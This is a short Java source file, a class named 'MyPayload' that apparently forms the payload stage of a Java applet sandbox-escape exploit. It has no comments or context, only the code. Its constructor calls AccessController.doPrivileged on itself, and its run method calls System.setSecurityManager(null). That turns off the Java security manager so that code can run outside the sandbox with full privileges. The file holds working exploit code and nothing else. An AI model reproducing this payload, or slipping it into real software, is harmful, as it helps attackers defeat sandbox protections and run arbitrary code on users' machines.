import java.security.*; public class MyPayload implements PrivilegedExceptionAction { public MyPayload() { try { AccessController.doPrivileged(this); } catch(PrivilegedActionException e) { //e.printStackTrace(); } } public Object run() throws Exception { System.setSecurityManager(null); return null; } public static void r() throws Exception { //System.out.println("hello!"); } }